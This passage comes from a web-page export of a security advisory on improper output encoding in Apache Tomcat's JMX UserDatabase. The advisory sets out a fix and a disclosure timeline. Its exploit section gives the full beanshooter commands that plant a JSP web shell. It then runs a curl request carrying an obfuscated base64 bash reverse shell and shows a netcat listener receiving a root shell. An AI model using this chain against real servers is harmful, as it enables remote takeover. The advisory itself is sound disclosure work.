<strong>toXml<\/strong> function is invoked, whereas roles and groups seem to be written as plaintext. This encoding issue<br \/>can be exploited by an attacker to inject arbitrary content into the user database file. The following example shows how an attacker can<br \/>successfully deploy a webshell:<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"gp\" style=\"background: #263238;color: #ffcb6b\">[user@host ~]$ <\/span>beanshooter attr <span class=\"m\" style=\"background: #263238;color: #f78c6c\">172<\/span>.17.0.2 <span class=\"m\" style=\"background: #263238;color: #f78c6c\">1090<\/span> Users:type<span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span>UserDatabase,database<span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span>UserDatabase pathname \/usr\/local\/tomcat\/webapps\/ROOT\/shell.jsp<span class=\"gp\" style=\"background: #263238;color: #ffcb6b\">[user@host ~]$ <\/span>beanshooter invoke <span class=\"m\" style=\"background: #263238;color: #f78c6c\">172<\/span>.17.0.2 <span class=\"m\" style=\"background: #263238;color: #f78c6c\">1090<\/span> Users:type<span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span>UserDatabase,database<span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span>UserDatabase --signature <span class=\"s1\" style=\"background: #263238;color: #c3e88d\">'createRole(String groupname, String description)'<\/span> <span class=\"s1\" style=\"background: #263238;color: #c3e88d\">'\"&gt;&lt;%Runtime.getRuntime().exec(request.getParameter(\"cmd\"));%&gt;&lt;a\"'<\/span> foo<span class=\"gp\" style=\"background: #263238;color: #ffcb6b\">Users:type=Role,rolename=\"\\\"&gt;&lt;%Runtime.getRuntime().exec(request.getParameter(\\\"cmd\\\"));%<\/span>&gt;&lt;a<span class=\"se\" style=\"background: #263238;color: #eff\">\\\"<\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\",database=UserDatabase<\/span><br \/><span class=\"gp\" style=\"background: #263238;color: #ffcb6b\">[user@host ~]$ <\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">beanshooter invoke 172.17.0.2 1090 Users:type=UserDatabase,database=UserDatabase --signature 'save()'<\/span><br \/><span class=\"gp\" style=\"background: #263238;color: #ffcb6b\">[user@host ~]$ <\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">curl '172.17.0.2:8080\/shell.jsp?cmd=bash+-c+echo%24%7BIFS%7DYmFzaCAtaSAmPiAvZGV2L3RjcC8xNzIuMTcuMC4xLzQ0NDQgMDwmMQ%3D%3D%7Cbase64%24%7BIFS%7D-d%7Cbash'<\/span><br \/><span class=\"gp\" style=\"background: #263238;color: #ffcb6b\">[user@host ~]$ <\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">nc -vlp 4444<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">Ncat: Version 7.92 ( [https:\/\/nmap.org\/ncat]() )<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">Ncat: Listening on :::4444<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">Ncat: Listening on 0.0.0.0:4444<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">Ncat: Connection from 172.17.0.2.<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">Ncat: Connection from 172.17.0.2:40392.<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">bash: cannot set terminal process group (1): Inappropriate ioctl for device<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">bash: no job control in this shell<\/span><br \/><span class=\"gp\" style=\"background: #263238;color: #ffcb6b\">root@436849b8da96:\/usr\/local\/tomcat#<\/span><\/pre>\n<\/div>\n<h3>Fix<\/h3>\n<p>The <em>UserDatabase<\/em> implementation in <strong>MemoryUserDatabase.java<\/strong> should apply <em>XML<\/em> encoding to all printed objects and not<br \/>only to the user object. Furthermore, the <strong>readonly<\/strong> attribute of the <em>UserDatabase MBean<\/em> should be adjusted. It should<br \/>either be <em>non writable<\/em> (as suggested by the documentation) or the documentation should be adjusted to reflect that the<br \/>attribute is actually writable.<\/p>\n<h3>References<\/h3>\n<ul>\n<li><a>https:\/\/tomcat.apache.org\/<\/a><\/li>\n<li><a>https:\/\/www.oracle.com\/technical-resources\/articles\/javase\/jmx.html<\/a><\/li>\n<li><a>https:\/\/github.com\/qtc-de\/beanshooter<\/a><\/li>\n<\/ul>\n<h3>Timeline<\/h3>\n<ul>\n<li><strong>2022-08-02<\/strong>: First contact request via securityy@tomcat.apache.org.<\/li>\n<li><strong>2022-08-04<\/strong>: Vendor states that <em>\"JMX access should be treated as equivalent to local root\/admin access and restricted accordingly\"<\/em>. The mentioned bugs however will be fixed.<\/li>\n<li><strong>2022-08-07<\/strong>: Bugs fixed by Vendor.<\/li>\n<li><strong>2022-11-24<\/strong>:<span>\u00a0<\/span><span>This advisory is published<\/span><\/li>\n<\/ul>\n<h3>Credits<\/h3>\n<p>This security vulnerability was identified by Tobias Neitzel of usd AG.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2022-0035 | Partially Controlled File Write in Apache Tomcat via JMX Advisory ID: usd-2022-0035Product: Apache TomcatAffected Version: Tested on Apache Tomcat 9.0.58, probably othersVulnerability Type: Improper Encoding or Escaping of Output (CWE-116)Security Risk: MediumVendor URL: https:\/\/tomcat.apache.org\/Vendor acknowledged vulnerability: NoVendor Status: Not fixed The Tomcat documentation states that JMX access should be treated as local or [&hellip;]<\/p>\n","protected":false},"author":109,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-19202","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/19202","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/109"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=19202"}],"version-history":[{"count":0,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/19202\/revisions"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=19202"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}